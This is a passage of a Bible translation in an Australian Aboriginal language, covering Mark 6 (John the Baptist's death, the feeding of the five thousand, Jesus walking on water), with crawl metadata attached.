ngapi.\"\nKayirrk la yalyungan ja yukenang pu Herod la marrikpan mali. Parang la aniwurruning mira marrik animiyarmanyi annyukpuni ta wulatpiyi murnin awalyungan nuyu ta annyutpan ngaralk pata arrarrkpi awk. Kayirrk la iminy pu pata awuyamangung nuyu Herod ja yukenang pu, \"Kutpana kurriwamarlalku ja John la kurrungpanamaga ta wanji nuyu kani tuka wilampilam.\"\nAwarran parak pata awuyamangung nuyu tuka wukej tuka iwaning iwutikinang ja John wakapa iwumarlalkuny. Warrwak angkumany ta wanji nuyu angputpan tuka wilampilam kayirrk la angkumany parak inypung jita warrawurnji kayirrk la inyngawng jita warrawurnji jita nigi.\nMalany ta awalyungan ta aminang nuyu John ja Aningurlpulukpuning pu pata Herod nuyu arrarrkpi awarran parak pata John jawirna nuyu iwumany ja ingijalk iwuyurjiny tuka yurk.\nWarrwak la pata arrarrkpi awalyungan ja Jesus iyamangung wu la iwinyang monmon yanatapa. Yara pata arrarrkpi aminang nuka ja Jesus aminang mali nuka Elijah - la nuka ja nuwarlkparrakan annyunmangung ja God nuyu ngaralk ta wularrut mira - wera aminang yanat ja God inimurnanganinyka yarnangkat akutju. La wera pata arrarrkpi kamin nuka ja Jesus ja arrarrkpi ja kinilakula tuka God nuyu, kapin wera pata arrarrkpi aminang inilakulangung ngaralk God nuyu ta wularrut mira. La wera arrarrkpi aminang nuka Jesus ja John ja Aningutpulukpuning wu, la aminang nukapa God inimajpungkuny John akutju la innyung ta wutkut ta nuntatparlangkat mira.\nNuka ja Herod ja Kiwken yalyungan tuka angpunmakpangung la iminy, \"Ngapi ngawunatpi arrarrkpi pata John iwumarlalkuny tuka wanyji, la puka pata arrarrkpi kangkuwurrun - yanatapa John ja Kaningurtpulukpun wu. La ngapi ngungpurrun God inimajpungkuny yarnangkat akutju.\"\nJesus awunilakantawng pata 5000 pata arrarrkpi\n(Matthew 14:13-21; Luke 9:10-17; John 6:1-14)\n30 Kayirrk la pata Jesus nuyu pata 12 pata wingurlyakut pata awarrangung rtil wiyu nuyu amurnanganingka kapa tuka wugarra yirrk kunak la angpunmangung nuyu ta kiki aminang wu pata arrarrkpi ta algaj awuyamangung.\n31 Wakapa tuka awaning ngarlakarlak wimurra pata arrarrkpi awunpuyarrung parak tuka Jesus ilangaling la Jesus la pata awarrangung rtil wiyu nuyu malany angpatpang wugarra, marrik muj kiki amina apulanyi ta walij. Parang la Jesus ilajantiny pu pata awarrangung rtil wiyu nuyu iminy pu, \"Ngawu! Arrkpanarra warak tuka tora ta kunak nuyu arrungpaka wirrngak?\"\n32 Kayirrk la Jesus la pata awarrangung rtil wiyu nuyu awulurrang tuka kapala angkuwuning pirl wurrkaraga kapa tuka mapurlarr yirrk ta kunak ajirrik awaninga palat la makiny.\n33 Malany pata arrarrkpi awk awunpayantung yirrirri ja kapala awarrangung parak angkuwuning pirl warak, angkuwurrung kayirrk la awurakan iwiyirnukpung wurrkaraga kayirrk la pata tuwuran wugarra ta kunak, amalkpany.\n34 Malany ja Jesus yurtiny parak ilurrang tuka kapala kayirrk la Jesus awunnyayawng wakapa pata arrarrkpi iwumirlajuning, wakapa awulangaling wimurra mira. Yarran parak awunnyayawng iwuwurlkpungkun pata arrarrkpi kapin pata larnngalkpu pata marrik nganti awunnyayatayanjing. Wakapa annyunmangung pu ta nungmalal wurluj.\n35 Awulangalinganapa arukaruk la pata awarrangung rtil wiyu nuyu aminy nuyu Jesus, \"Arta, wularrutapa arukaruk la kani marrik nganti iwaning la kinyuryi warakapa.\n36 Anpuntangakanyi pata arrarrkpi nuyu apayalma walij apanala.\"\n37 Kayirrk la Jesus iminy pu, \"Nuwurri kutpunpanawn ta walij!\"\nKayirrk la pata awarrangung rtil wiyu nuyu aminy nuyu, \"Ngarri marrik ngarrawatping ta walij apurra. Kurlingka nuyi ngarrunmiyarma ngatpana ngarriwaka imurra ja rrupiya ta walij nuyu la ngarri ngatpunpanarlikpi pata arrarrkpi?\"\n38 Kayirrk la Jesus iminy pu, \"Kiki ja kurratayanti ta walij kiki kapin ta katju?\"\nAwarran parakapa apayawng pa aminy, \"Tuka awalinjinyut wurrkamaj yurnu ta kantijawa la ngarrkarrk ja kiyap.\"\n39-40 Kayirrk la Jesus iminy pu pata awarrangung rtil wiyu nuyu, \"Kutjanyji kutpina wu pata arrarrkpi, 'Kutpawani purrkut la purrkut.' \" Kayirrk la awarran parak pata napulurrumpi pata arrarrkpi awuntumangung la wemin yera awaning 100 la yara 50.\n41 Kayirrk la Jesus atimany ta kantijawa ta awalinyjinyut la kiyap inimany kayirrk la atimajpungkun ta kantijawa la kiyap parang la inilakajpung ja God. Atiwirlkpukpuning ta kantijawa la kiyap iniwirlkpukpuning kayirrk la awunnyung pata awarrangung rtil wiyu nuyu la awunpuning pata arrarrkpi pata wakapa awaning.\n42 Malany wimurra pata arrarrkpi awarran parak apuwany ta walij awarran parakapa amarlmanpung kirrk.\n43 La warrwak pata Jesus awarrangung rtil wiyu nuyu apumangung akpaj ta awarawungut ta awutpiny ta walij. Wenatapa apulatikiny 12 tuka yangali ta walij ta marrik apulanyi.\n44 Ngungpurrun wimurra mira pata arrarrkpi ngungpurrun napulurrumpi 5000 awulangaling la muj warramumpik la warrayngiw.\nJesus yarrangung juju tuka wupaj tuka wurl ta karrkpin\n(Matthew 14:22-33; John 6:16-21)\n45 Wakapa Jesus iminy pu pata awarrangung rtil wiyu nuyu, \"Kutatina tuka kapala kurrungpanawun pirl wurrkaraga Bethsaida.\" Kayirrk la Jesus iminy pu pata napulurrrumpi, \"Kurrarakanyi!\"\n46 Kayirrk la awunilangakan awurakan parak kunak kayirrk la yanat yuran tuka murrgu iling iwarruj.\n47 Malany angpung wupurrk pata awarrangung rtil wiyu nuyu awulatinang tuka kapala awulangaling tuka wungijalk la Jesus ilangaling palat wawurri.\n48 Warrwak la Jesus awunnyayawng pata awarrangung rtil wiyu nuyu amijantung miri la marlu apukpangungka la awunnyakangung. Ta iyirtpirrakenangka Jesus awuniyarrung parak yarrangung juju warak tuka wupaj la iniyarruning parak ja kapala la kapin awuniwarlkijpangung parak.\n49-50 Iwayawng yarrangung jujuga tuka wupaj amurtpiny pata awarrangung rtil wiyu nuyu aminy mali manya. La iwayawng apa awurlalmangkany kirrk la awuyirrulkeny.\nKayirrk la Jesus iminy, \"Nungmalal! Ngapi kani! Yunyi kutpurtpin!\"\n51 Kayirrk la Jesus ilurrangkeny tuka kapala awulatinang rtil la marlu atakujpiny la awurlkpalangkeny kirrk\n52 murnin wenat marrik angkuwurruni mira tuka awunnyung walij la kiyap. Marrik muj amartukpuni nuyu.\nJesus awuningulakantiny pata amajung pata arrarrkpi\n(Matthew 14:34-36)\n53 Kayirrk la wenatapa awarran parak ta karrpin ta kunak ta wungurlaj Gennesaret malany wakapa mampuwanpuriny ja kapala.\n54 La wimurra pata arrarrkpi nakapa iwayawng ja Jesus ilurrangenyka tuka kapala la iwayawng iwunman yanatapa.\n55 Parang la awarran parak awuntumangungka nuyu Jesus pata amajunmajung tuka japirri.\n56 Malany pata arrarrkpi iwuyarrukuning tuka ngampiwi yarrangung juju tuka nungpanpal kunak, awuntumangungka tuka japirri pata arrarrkpi pata amajunmajung la awunputpangung tuka kunak nuyu Jesus awunpaningulakan. La iwulajakpuning ja Jesus angkumiyarmangung iwatpa nuyu manpurrwa nuyu awangulikin, la pata amajunmajung iwatpang nuyu manpurrwa nakapa awungulikinang.","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/harmony.cx\/study\/content\/texts\/mph\/MK6.html","date":"2023-02-06T12:49:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00241.warc.gz","language":"mph","language_score":0.999963522,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mph_Latn_score\": 0.9999635219573975}","num_words":1703,"character_repetition_ratio":0.107,"word_repetition_ratio":0.001,"special_characters_ratio":0.174,"stopwords_ratio":0.501,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/mph_Latn/fineweb-2_000001_stas.jsonl b/mph_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..ac4550cb1c12267d8135cecc8abf6bb134863a45 --- /dev/null +++ b/mph_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 1469.857142857143, + "character_repetition_ratio": 0.08842857142857141, + "word_repetition_ratio": 0.002285714285714286, + "special_characters_ratio": 0.1762857142857143, + "stopwords_ratio": 0.4892857142857143, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 258.4179497145929, + "character_repetition_ratio": 0.013243404211230617, + "word_repetition_ratio": 0.005202040416009463, + "special_characters_ratio": 0.0026572964625340414, + "stopwords_ratio": 0.018116403661672286, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.0, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 1352.0, + "character_repetition_ratio": 0.09, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.176, + "stopwords_ratio": 0.49, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 1972.0, + "character_repetition_ratio": 0.107, + "word_repetition_ratio": 0.015, + "special_characters_ratio": 0.181, + "stopwords_ratio": 0.513, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 1144.0, + "character_repetition_ratio": 0.071, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.172, + "stopwords_ratio": 0.453, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1810.6000000000001, + "character_repetition_ratio": 0.1064, + "word_repetition_ratio": 0.006600000000000004, + "special_characters_ratio": 0.1792, + "stopwords_ratio": 0.507, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 1583.5, + "character_repetition_ratio": 0.0985, + "word_repetition_ratio": 0.0005, + "special_characters_ratio": 0.1775, + "stopwords_ratio": 0.502, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 1352.0, + "character_repetition_ratio": 0.09, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.176, + "stopwords_ratio": 0.49, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 1327.0, + "character_repetition_ratio": 0.077, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.175, + "stopwords_ratio": 0.4825, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "7", + "keep size": "4", + "remove size": "3" + } +] \ No newline at end of file diff --git a/mwm_Latn/fineweb-2_000001_keep.jsonl b/mwm_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..1bb03bca2525a3737c4d8fb76bf0f69b1ac899ae --- /dev/null +++ b/mwm_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,3 @@ +{"text":"2\nKaw̄ kə dəyá̰ kújú to kem ɓē kə́ Kana tə́\n1Teē kə ndɔ̄ kə́ nge ko̰ mətá anī, i kaw̄ kújú yā dəyá̰ kógə̄ḿ kem ɓē kə́ Kana tə́, gō nang kə́ Galile tə́. Kó̰o̰ Jeju i kum tə́. 2Mērə̄n̄ Jeju kə ngé ndóō yá̰a̰ yān gēé kaw̄ loo kaw̄ kə dəyá̰ kújú ní tə́ ō. 3Kó̰o̰ Jeju a̰ā̰ kadə̄ kasə *nduú gətóo kɔ̄ɔ́ anī əda Jeju na: Kasə *nduú təgā kɔ̄ɔ́.\n4Anī Jeju tél ədan na:\nDəyá̰ ī-gḛy i rí? Mbang yāḿ asə aĺ ɓáý.\n5Anī kó̰o̰n tél əda ngé rāā kəla gə̄ na kə rāān̄ yá̰a̰ malang ń Jeju a ədadə́ ní.\n6Tə́ndān̄ jóo bo ɓōkə́ man̄ tə́go rɔ̄ yā *Jipə gə̄ mehḛ́ loo ngeé ń noō tə́. Kemdə́ kógə̄ḿ kógə̄ḿ ní asə man̄ kem jóo jōó aláa mətá ń noō. 7Jeju əda ngé kəla gə̄ na kə ɓōkə́n̄ man̄ kem jóo bo gə̄ ní tə́ kadə̄ kə rosə.\nNin̄-ɓōkə́n̄ man̄ kemeé adə̄ rosə rerep. 8Anī Jeju tél ədadə́ na:\nĪ-tūȳ ādī ngol ngé nə̄ɓō yá̰a̰ kəsa gə̄ ngɔlaā.\nNin̄-ɔdən̄ man̄ ní aw̄ adə̄nən̄. 9Ngol ní nāā man̄ ń tél kasə *nduú ní. Ni ger̄ loo ń kasə ní teē tū tə́ ní alé, ba ngé kəla gə̄ ń ɔdən̄ man̄ ní tā nin̄-gerə̄n̄. 10Anī ni-ɓāŕ nga dəyá̰ ba ədan na:\nDe gə̄ malang a nə̄ɓōn̄ i kasə nduú kə́ majə ta kəga dɔ. Dan ń kasə a ra ta kum de gə̄ tə́ pá tá a nə̄ɓōn̄ kə́ majə sḛ́ý beé ɓáý. Ba ḭ̄ ī-rāā yāí i ba̰ý n ī-ngɔ̄məń kasə nduú kə́ majə ngá̰ý bátə́ kum mbang ń toō tə́ ní?\n11Nge ń toō i yá̰á̰ kə́ yáā kə́ ta kəga dɔ ń Jeju rāā ní. Ni-rāā i Kana, gō nang kə́ Galile tə́. Ni ɔjə kɔsə gɔn yān kə̄ ndágá, adə̄ ngé ndóō yá̰a̰ yān gə̄ taān̄ kemən.\n12Gō tə́ anī ni-aw̄ Kapernaum nin̄ kə kó̰o̰n ō, ngákó̰o̰n gə̄ ō, ngé ndóō yá̰a̰ yān gə̄ ō, ba ndin̄ noó ndɔ̄ ngá̰ý alé.\nJeju tə̄ɓā ngé gātə̄ gə̄ kɔ̄ɔ́ kem kújə yā Kɔ́ɔ̄ɓē tə́\n(Á̰a̰ī Mat 21.12-13; Mark 11.15-17; Luk 19.45-46)\n13Dɔ nāā *Pákə yā *Jipə gə̄ i ngɔr, adə̄ Jeju aw̄ *Jerusalem. 14Ni-ənge ngé kigə man̄g gə̄ ō, batə̄ gə̄ ō, dér dum gə̄ ō, ngé mbél̄ nar gə̄ kə́ ndin̄ ta loo mbél̄ nar yādə́ tə́ ō, kem *kújə yā Kɔ́ɔ̄ɓē tə́. 15Anī ni-ɔy kəlā gə̄ rāā ndéý tə́, ba tə̄ɓańdə́ kɔ̄ɔ́ malang kem *kújə yā Kɔ́ɔ̄ɓē tə́ kə batə̄ gə̄, kə man̄g gə̄. Ni tə̄ndā nar yā ngé mbél̄ nar gə̄ tḭ̄ḭ̄ kɔ̄ɔ́ ō, mbə́rē kāgə̄ yādə́ gə̄ ń a mbélə̄n̄ nar dɔ tə́ ní tə́nī kɔ̄ɔ́ ō, 16ba əda ngé kigə dér dum gə̄ na kə ɔyn̄ yá̰á̰ ń noō kɔ̄ɔ́, ba kə lōōn̄ rāā kújə yā Bɔbə̄n kújə gātə̄ tə́. 17Anī əga kem ngé ndóō yá̰a̰ yān gə̄ kadə̄ ndangən̄ kem makətūbūú na:\nO̰o̰m̄ tɔdɔ̄ kújə yāí ngá̰ý adə̄ m̄-ndebə ra rak#2.17 K. 17: Á̰a̰ī Pā gə̄ 69.10.\n18Anī *Jipə gə̄ dəjenən̄ na:\nYá̰a̰ kə́ yáā ń ā ī-rāā yā kɔjəńjí tɔ́gə yāí ā ī-rāań yá̰a̰ tītə̄ ń noō ní i rí?\n19Anī Jeju tél ədadə́ na:\nĪ-tɔ̄ɔ̄ī *kújə yā Kɔ́ɔ̄ɓē ń toō kɔ̄ɔ́, ba á̰a̰ī ké ndɔ̄ mətá anī m-ún dɔɔ́ gogə́ aĺ wa? 20Anī *Jipə gə̄ tél ədanən̄ na:\nKújə yā Kɔ́ɔ̄ɓē ń toō ń rāān̄ ɓāl̄ kutə sɔ́ gidə i mehḛ́ tá oy ní, ə́da na ndɔ̄ mətá beē anī ā ún dɔɔ́ a?\n21Banī *kújə yā Kɔ́ɔ̄ɓē ń Jeju a ɔr̄ najə̄n ní i rɔ̄n nəkɔ́. 22Adə̄ dan ń Jeju oy ba ndól̄ ní, əga kem ngé ndóō yá̰a̰ yān gə̄ dɔ najə̄ ń ni ədadə́ tə́ ní. Adə̄ nin̄-taān̄ kem najə̄ ń ndangən̄ kem makətūbūú ní ō, najə̄ ń Jeju əda ní ō.\nJeju ger̄ yá̰á̰ kə́ kem deē tə́\n23Kem ndɔ̄ gə̄ ń ni-ndiń *Jerusalem tām̄ yā nāā *Pákə tə́ ní, de gə̄ ngá̰ý taān̄ kemən dan ń a̰ā̰n̄ yá̰á̰ kə́ yáā gə̄ ń ni-rāā ní. 24Ba Jeju ənī kemən adə̄də́ alé, tɔdɔ̄ ni-ger̄də́ malang majə. 25Ni sāā kadə̄ deē ədan najə̄ kə́ dɔ deē tə́ alé, tɔdɔ̄ ni-ger̄ yá̰á̰ kə́ kem deē tə́.\nLaster referanser i sekundær oversettelse...","id":"","dump":"CC-MAIN-2014-10","url":"https:\/\/www.bible.com\/no\/bible\/446\/jhn.2.bs","date":"2014-03-13T08:29:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678663927\/warc\/CC-MAIN-20140313024423-00034-ip-10-183-142-35.ec2.internal.warc.gz","language":"mwm","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"mwm_Latn_score\": 1.0000077486038208}","num_words":679,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nKɔ́ɔ̄ɓē Nə́ɓā tə̄ɓā dəngam nin̄ kə dəyá̰ kem ndɔr̄ kə́ Eden tə́ kɔ̄ɔ́\n1Lī i dā̰ kə́ kumən edə̄ tɔȳ gotə dā̰ gə̄ malang kə́ bembeé ń Kɔ́ɔ̄ɓē Nə́ɓā rāā ní. Ni-dəje dəyá̰ na:\nNə́ɓā əda na kə ə́saī kan̄ kāgə̄ kə́ ndɔrɔ́ malang aĺ rɔ̄kum a?\n2Dəyá̰ tél əda lī na:\nNə́ɓā adə̄jí ta róbə kəsa kan̄ kāgə̄ gə̄ kə́ kem ndɔrɔ́. 3Banī kan̄ kāgə̄ ń ra dan ndɔrɔ́ ní, ɔgə̄jí kɔ̄ɔ́, əda na ré j-əsa ō, j-ɔdə rɔ̄ ō anī, j-a j-oy. 4Lī tél ədan na:\nKógə̄ḿ alé! Ā óyiī alé. 5Tām̄ Nə́ɓā ger̄ kadə̄ ndɔ̄ ń ā ə́saī tə́ anī, kumsí a teē kadə̄ ā ī-toī tītə̄ Nə́ɓā ō, ā ī-gerī yá̰á̰ kə́ majə ō, yá̰á̰ kə́ majaĺ ō.\n6Dəyá̰ a̰a̰ kadə̄ kan̄ kāgə̄ ní majə kəsa ngá̰ý ō, majə ka̰a̰ ngá̰ý ō, ngur kəsan kadə̄ gerə̄ń yá̰á̰ ngá̰ý rāān ō. Anī ni-əja kan̄ kāgə̄ ní kógə̄ḿ əsa ō, adə̄ ngaan ń ra kadən tə́ ní adə̄ əsa ō. 7Nin̄ jōó mbak kumdə́ teē adə̄ gerə̄n̄ kadə̄ gíŕdə́ i karī, ɓáa anī urə̄n̄ mbī kótə̄ do̰ō̰n̄ gíŕdə́ tə́.\n8Dəngam nin̄ kə dəyá̰ oōn̄ kōō Kɔ́ɔ̄ɓē Nə́ɓā a njə̄rā kem ndɔrɔ́ loo sɔlí anī, a̰ȳ aw̄ ɓɔ̄ɔ̄n̄ rɔ̄də́ kɔ̄ɔ́ dan kāgə̄ gə̄ kə́ kem ndɔrɔ́ tə́. 9Kɔ́ɔ̄ɓē Nə́ɓā ɓāŕ dəngam ədan na:\nḬ̄ i rá? 10Dəngam tél əda na:\nM-ōō kōí kem ndɔrɔ́ ɓáa ɓōĺ rāām̄ tɔdɔ̄ gírə́ḿ i karī á m̄-ɓɔ̄ɔ̄ rɔ̄ḿ ní. 11Kɔ́ɔ̄ɓē Nə́ɓā ədan na:\nI náā n ədaī na gírí na i karī ní? Kan̄ kāgə̄ ń m-ɔ̄gī kəsa ní ə́sa a? 12Dəngam tél ədan na:\nI dəyá̰ ń ādə̄m̄ seneé ní n adə̄m̄ kan̄ kāgə̄ ní adə̄ m-ə́sá ní.\n13Anī Kɔ́ɔ̄ɓē Nə́ɓā əda dəyá̰ na:\nĪ-rāā yá̰á̰ ń toō i tām̄ rí tə́? Anī dəyá̰ əda na:\nI lī n gólə̄m̄ á m-ə́sa kan̄ kāgə̄ ní.\n14Anī Kɔ́ɔ̄ɓē Nə́ɓā əda lī na:\nĪ-rāā yá̰á̰ ń noō ɓá ní,\nndɔ̄ĺ i dɔí tə́ dan dā̰ kə́ ɓēé gə̄ tə́ ō, kə́ bembeé gə̄ tə́ ō.\nĀ ágə i nang tə́ kə kemií,\nadə̄ bumbə́ru a ḭḭ kóní tə́ i kə dɔ ndɔ̄ gə̄ ń ā ī-ndiń kə kumuú ní.\n15M-ā m-ə̄nī madə̄ ba̰ā̰ naā dɔ dáńsí tə́ kə dəyá̰ ō,\ndɔ dáń gír kaa yāí tə́ kə gír kaa yānneé ō.\nNi a rējə̄ dɔí, ba ḭ̄ ā ī-tə́gā gíŕ gándən.\n16Gō tə́ anī Kɔ́ɔ̄ɓē Nə́ɓā əda dəyá̰ na:\nRé ī-ndān̄ ngōn̄ anī,\nm-ā m̄-rāā kadə̄ rɔ̄í a tōrī ngá̰ý.\nĀ ójə ngōn̄ i kə rɔ̄ tōrōó.\nNgur kaw̄ rɔ̄ ngaaí tə́ a rāāī,\nba ni a o̰o̰ ɓē dɔí tə́.\n17Ta tɔ̄l̄ ta anī ni-əda dəngam na:\nḬ̄ ōō ta nə̄yá̰í adə̄ ə́sa kan̄ kāgə̄ ń m-ɔ̄gī kəsa ní ɓá ní,\ndɔ nang i kə́ ndɔ̄ĺ najə̄ yāí tə́.\nĀ á̰á̰ tápə̄ kə dɔ ndɔ̄ gə̄ ń ā ī-ndiń kə kumuú ní tá ā ə́ngeń yá̰a̰ kəsa yāí tū tə́.\n18Kōn̄ gə̄ kə ngar̄ gə̄ a əɓan̄ tū tə́ najə̄ yāí tə́.\nĀ ə́sa mu kə́ bembeé. 19Ā ī-rāā kəla kə́ úy tətō tá ā ə́ngeń yá̰a̰ kəsa yāí,\nbátə́ kadə̄ ā ī-tél āwń gogə́ tū nán̄g ń ī-teē tū tə́ ní tə́.\nTɔdɔ̄ rāāīn̄ i kə nángāá, adə̄ ā ī-tél kə̄ gogə́ gíŕ nángāá.\n20Adam#3.20 Adam kə ta Hebəro kumən na i deē. əndā rī nə̄yá̰n na i Ebə#3.20 Ebə kə ta Hebəro kumən na i ndi kə kumuú. tɔdɔ̄ i Ebə n i kó̰o̰ de gə̄ malang ń ndin̄ kə kumdə́ ní. 21Kɔ́ɔ̄ɓē Nə́ɓā rāā ngə̄rā dā̰ do̰ō̰ gír dəngam nin̄ kə nə̄yá̰neé tə́. 22Gō tə́ anī ni-əda na:\nDe gə̄ tél ton̄ tītə̄ Nə́ɓā tɔdɔ̄ gerə̄n̄ kɔr̄ nin̄ yá̰á̰ kə́ majə ō, yá̰á̰ kə́ majaĺ ō, naā tə́ ní, majə kadə̄ m-ɔ̄gə̄də́ kəla jīdə́ kəjań kan̄ kāgə̄ kə́ deē əsa anī a ndi kə kumuú, na sōgə́ əsan̄ anī ndin̄ kə kumdə́ ngándáńg.\n23Kɔ́ɔ̄ɓē Nə́ɓā tə̄ɓā de gə̄ kɔ̄ɔ́ kem ndɔr̄ kə́ Eden tə́ kadə̄ aw̄ ndɔrə̄n̄ dɔ nang ń rāańdə́ ní. 24Kɔ́ɔ̄ɓē Nə́ɓā tə̄ɓādə́ kɔ̄ɔ́ ba əndā *de kə́ dɔ rā̰ tə́ gə̄ kə́ ngé ngɔ̄m̄ loo gə̄ ta ndɔr̄ kə́ Eden tə́, dām̄ kə́ dūn̄ ɓē tə́, kə kaskar kə́ to tītə̄ ndo̰ hor kə́ tūr̄ gidə naā tə́, kadə̄ ngɔ̄mə̄n̄ ta róbə́ kə́ yā kaw̄ń kə̄ rɔ̄ kāgə̄ kə́ deē əsa anī a ndi kə kumuú ní tə́.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.bible.com\/de\/bible\/446\/GEN.3.BS","date":"2021-05-10T02:55:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989030.65\/warc\/CC-MAIN-20210510003422-20210510033422-00125.warc.gz","language":"mwm","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mwm_Latn_score\": 1.000009298324585}","num_words":711,"character_repetition_ratio":0.07,"word_repetition_ratio":0.003,"special_characters_ratio":0.259,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nKain nin̄ kə Abel\n1Adam ɓīī kə nə̄yá̰n Ebə adə̄ ndān̄ ngōn̄. Ebə ojə Kain#4.1 Kain kə ta Hebəro kumən na i kənge. anī əda na:\nKɔ́ɔ̄ɓē rāā seḿ adə̄ m-ə́nge deē.\n2Ni-ojə ngōkó̰o̰ Kain ń rīn na i Abel ní ɓáý to̰.\nAbel i nge kul̄ yá̰a̰, Kain i nge ndɔr̄. 3Ugə̄ dan kə́rēý tə́ anī, Kain ndējə̄ Kɔ́ɔ̄ɓē kan̄ yá̰a̰ gə̄ ń teēn̄ dɔ nang tə́ ní. 4Ba Abel ndējə̄ yān i ngán dā̰ gə̄ ń kṵ́ṵ́də́ ojədə́ ta kəga dɔ ní ō, yibə̄də́ ō. Kɔ́ɔ̄ɓē ndigə Abel ō, ndigə *yá̰a̰ ndējə̄ yān ō, 5banī mbātə́ Kain kə *yá̰a̰ ndējə̄ yān gēé. Tōr̄ Kain ngá̰ý adə̄ dɔ kumən nelə̄n alé. 6Ba Kɔ́ɔ̄ɓē ədan na:\nĪ-rāā wōn̄g ō, dɔ kumií nelī alé ō, i tām̄ rí tə́? 7Ré kemií ndi kə gōó majanī, ā ún kumií dɔɔ́. Ba ré kemií ndi majə alé anī, majaĺ a to ta róbí tə́. Ngur kəhɔī rāān, ba ásə dum̄ tan.\n8Ba Kain əda ngōkó̰o̰n Abel na kə n-teēn̄. Dan ń nin̄ i kem ndɔrɔ́ anī, Kain ḭḭ udə kə̄ dɔ ngōkó̰o̰n Abel tə́ tɔ̄lə̄n.\n9Kɔ́ɔ̄ɓē dəje Kain na:\nNgōkó̰ó̰í Abel i rá?\nAnī Kain tél ədan na:\nm̄-ger̄ alé. Mā i nge ngɔ̄m̄ ngōkó̰ó̰ḿ a? 10Kɔ́ɔ̄ɓē tél ədan na:\nĪ-rāā i rí? Ndū mósə ngōkó̰ó̰í ɓār̄ dɔ nang tə́ bátə́ teē rɔ̄ḿ tə́. 11Dɔ nang ń teē tan taāń mósə ngōkó̰ó̰í ń ī-tɔ̄lə̄n ní jīí tə́ ní, ngɔlaā ndɔ̄líī. 12Adə̄ ré ā ī-ndɔr̄ dɔ nang anī, ni a teē yá̰a̰ yā kadī to̰ alé. Ā ī-ndi gotə kógə̄ḿ alé, ā ī-tél i de kə́ nge dáȳ dɔɔ́.\n13Kain əda Kɔ́ɔ̄ɓē na:\nNdéý ń ə́ndam̄ ní tɔȳ tɔ́gə́ḿ, adə̄ m-ásə́ tə́gā taḿ gírí alé. 14Ɓōólaā ī-tə̄ɓām̄ kɔ̄ɔ́ dɔ nang ń toō tə́, adə̄ m-āw̄ yā ɓɔ̄ɔ̄ rɔ̄ḿ kɔ̄ɔ́ sa̰y ta kumií tə́. M-ā m̄-tél de kə́ nge ndi gotə kógə̄ḿ alé, m-ā m̄-dáȳ i dɔɔ́. Náā nəkɔ́ ń a əngem̄ anī a tɔ̄lə̄m̄.\n15Banī Kɔ́ɔ̄ɓē tél ədan na:\nI beé alé. Ré deē tɔ̄lī anī, a tɔ̄lə̄n̄ de gə̄ sīrí kum gotií yā daləń ba̰ā̰í.\nKɔ́ɔ̄ɓē əndā tə́ré yá̰á̰ kógə̄ḿ no Kain tə́ yā kadə̄ náā nəkɔ́ ń ənge Kain anī, kə tɔ̄lə̄n alé. 16Gō tə́ anī Kain aw̄ ndi dɔ nang kə́ Nod#4.16 Nod kə ta Hebəro kumən na i nge dáȳ dɔɔ́. tə́, sa̰y kɔ̄ɔ́ ta kum Kɔ́ɔ̄ɓē tə́, dām̄ ndɔr̄ Eden kə́ gír ɓē tə́ tə́.\nNgán kaa Kain gə̄\n17Kain ɓīī kə nə̄yá̰neé adə̄ ndān̄ ngōn̄. Ni-ojə Henok. Gō tə́ anī, ni-rāā ɓē bo kógə̄ḿ ba əndā rī ngōnə̄n Henok dɔ ɓē ní tə́. 18Henok ojə Irad, Irad ojə Mehuyael, Mehuyael ojə Metusael, ba Metusael ojə Lamek.\n19Lamek taā dəyá̰ gə̄ jōó. Rī kə́ kógə̄ḿ na i Ada ō, kə́ noō na i Sila ō. 20Ada ojə Yabal. Ni i kaa ngé gə̄ ń ndin̄ kem kújə tandā tə́ dan yá̰a̰ kul̄ gə̄ tə́ ní. 21Ngōkó̰o̰ Yabal rīn na i Yubal. Ni i kaa 